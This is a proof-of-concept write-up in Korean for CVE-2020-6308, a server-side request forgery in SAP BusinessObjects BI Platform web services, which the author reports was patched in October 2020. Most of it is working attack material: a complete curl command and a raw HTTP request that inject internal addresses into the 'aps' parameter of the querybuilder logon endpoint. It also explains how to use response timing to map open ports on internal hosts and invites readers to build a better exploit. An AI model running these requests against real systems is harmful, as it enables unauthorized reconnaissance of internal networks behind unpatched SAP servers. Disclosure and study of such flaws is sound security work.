
PoC CVE-2020-6308
SAP BusinessObjects Business Intelligence Platform(Web Services) 버전 410, 420, 430은 인증되지 않은 공격자가 CMS 매개변수로 임의의 값을 주입하여 외부에서는 접근할 수 없는 내부 네트워크에 대한 조회를 수행할 수 있게 합니다. 질문이 있으면 트위터 팔로우 또는 DM을 보내주세요: https://twitter.com/initroott
저는 2020년 5월에 이 문제를 SAP에 보고했고, 패치는 2020년 10월에 릴리스되었습니다. 여러분은 직접 PoC를 더 개발해도 좋지만, 저는 약간의 배경 정보를 제공하겠습니다. CMS 함수는 주어진 주소를 검증하지 않습니다. 호스트 방화벽이 올바르게 구성되지 않은 경우, 요청에 대한 응답을 기반으로 포트 또는 내부 네트워크를 쉽게 핑거프린팅할 수 있습니다. 아래 예시에서 CuRL 요청을 사용하여 열린 포트를 확인하는 방법을 보여드리겠습니다.. 아래 예시에는 SAP 호스트(192.168.0.191), 공격 머신(192.168.0.149), 그리고 내부 라우터(192.168.0.1)와 같은 또 다른 장치가 있습니다.
SAP 호스트에는 다음 포트가 열려 있습니다:

그리고 내부 라우터에는 다음 포트가 열려 있습니다: 53,80,34573

그럼 테스트해 봅시다. 요청 응답의 타이밍만으로도 열린 포트를 식별할 수 있습니다. 아래 예시를 참조하세요:
time curl -i -s -k -X $'POST' \
-H $'Host: 192.168.0.191:8080' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:81.0) Gecko/20100101 Firefox/81.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 120' -H $'Origin: http://192.168.0.191:8080' -H $'Connection: close' -H $'Referer: http://192.168.0.191:8080/AdminTools/querybuilder/ie.jsp' -H $'Cookie: JSESSIONID=8EE4AA85EB930DEB7090187F4CB4711B; developer_samples_app_lastusr=admin; developer_samples_app_lastaps=192.168.0.191; developer_samples_app_lastaut=secEnterprise' -H $'Upgrade-Insecure-Requests: 1' \
-b $'JSESSIONID=8EE4AA85EB930DEB7090187F4CB4711B; developer_samples_app_lastusr=admin; developer_samples_app_lastaps=192.168.0.191; developer_samples_app_lastaut=secEnterprise' \
--data-binary $'aps=192.168.0.1:53&usr=admin&pwd=&aut=secEnterprise&main_page=ie.jsp&new_pass_page=newpwdform.jsp&exit_page=logonform.jsp' \
$'http://192.168.0.191:8080/AdminTools/querybuilder/logon?framework='
다음 페이로드를 테스트합니다:
여기에서 닫힌 포트 테스트 시간 결과를 볼 수 있으며, 평균 약 5ms입니다..

여기에서 열린/필터링된 포트 테스트 시간 결과가 훨씬 더 큰 것을 볼 수 있습니다..

아래 방법은 이상적이지 않습니다. 라우팅이 다르고 일부 방화벽이 결과에 영향을 줄 수 있기 때문입니다. 하지만 더 나은 익스플로잇을 구축하기 위한 출발점을 제공할 것입니다. 위의 방법은 기준선(baseline)을 만든 다음 거기서부터 더 작업하는 방식으로 조정할 수 있습니다. 리스너를 설정한 다음 어떤 일이 발생하는지 확인해 보는 것을 확실히 권장합니다.
아래는 APS 매개변수가 취약한 주입 지점일 때 Burp에서 요청이 어떻게 표시되는지 보여줍니다. 더 간단한 PoC는 카나리아 토큰 값을 주입한 다음 트리거를 기다리는 것입니다..
POST /AdminTools/querybuilder/logon?framework= HTTP/1.1
Host: 192.168.0.191:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 128
Origin: http://192.168.0.191:8080
Connection: close
Referer: http://192.168.0.191:8080/AdminTools/querybuilder/ie.jsp
Upgrade-Insecure-Requests: 1
aps=192.168.0.191&usr=admin&pwd=admin&aut=secEnterprise&main_page=ie.jsp&new_pass_page=newpwdform.jsp&exit_page=logonform.jsp